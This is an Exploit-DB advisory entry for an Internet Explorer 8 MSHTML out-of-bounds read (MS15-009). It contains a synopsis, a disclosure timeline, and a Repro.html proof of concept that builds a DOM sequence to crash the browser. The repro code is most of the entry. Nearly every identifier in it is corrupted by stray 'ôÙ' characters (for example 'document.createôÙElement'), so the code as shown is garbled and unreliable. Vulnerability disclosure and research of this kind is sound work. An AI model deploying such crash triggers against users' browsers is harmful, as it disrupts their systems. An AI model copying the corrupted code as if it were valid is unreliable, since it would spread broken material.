Exploit-DB #40841
Description: Microsoft Internet Explorer 8 - MSHTML 'SRun­Pointer::Span­Qualifier/Run­Type' Out-Of-Bounds Read (MS15-009)
Type: dos
Platform: windows
Date: 2016-11-28
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.

Repro.html:
-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
  <style>
    position_ôÙfixed {  position: fixed; }
    position_ôÙrelative { position: relative;  }
    float_ôÙleft { float: left; }
    complex { float: left; width: 100%; }
    complex:first-line { clear: left; }
  </style>
  <script>
    window.onload = function boom() {
      oôÙElement_ôÙfloat_ôÙleft = document.createôÙElement('float_ôÙleft');
      oôÙElement_ôÙcomplex = document.createôÙElement('complex');
      oôÙElement_ôÙposition_ôÙfixed = document.createôÙElement('position_ôÙfixed');
      oôÙElement_ôÙposition_ôÙrelative = document.createôÙElement('position_ôÙrelative');
      oôÙElement_ôÙtable = document.createôÙElement('table');
      oôÙElement_ôÙx = document.createôÙElement('x');
      oôÙTextôÙNode = document.createôÙTextôÙNode('x');
      document.documentôÙElement.appendôÙChild(oôÙElement_ôÙfloat_ôÙleft);
      oôÙElement_ôÙfloat_ôÙleft.appendôÙChild(oôÙElement_ôÙcomplex);
      oôÙElement_ôÙfloat_ôÙleft.appendôÙChild(oôÙTextôÙNode);
      oôÙElement_ôÙcomplex.appendôÙChild(oôÙElement_ôÙposition_ôÙfixed);
      oôÙElement_ôÙcomplex.appendôÙChild(oôÙElement_ôÙposition_ôÙrelative);
      oôÙElement_ôÙcomplex.appendôÙChild(oôÙElement_ôÙtable);
      oôÙElement_ôÙcomplex.appendôÙChild(oôÙElement_ôÙx);
      setôÙTimeout(function() {
        oôÙElement_ôÙx.setôÙAttribute('class', 'x');
        setôÙTimeout(function() {
          alert();
          document.write(0);
        }, 0);
      }, 0);
    }
  </script>
  </head>
</html>

<!--
Description

The issue requires rather complex manipulation of the DOM and results in reading a value immediately following an object. The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other.

Time-line

June 2014: This vulnerability was found through fuzzing.
October 2014: This vulnerability was submitted to ZDI.
October 2014: This vulnerability was rejected by ZDI.
November 2014: This vulnerability was reported to MSRC.
February 2015: This vulnerability was addressed by Microsoft in MS15-009.
November 2016: Details of this issue are released.
-->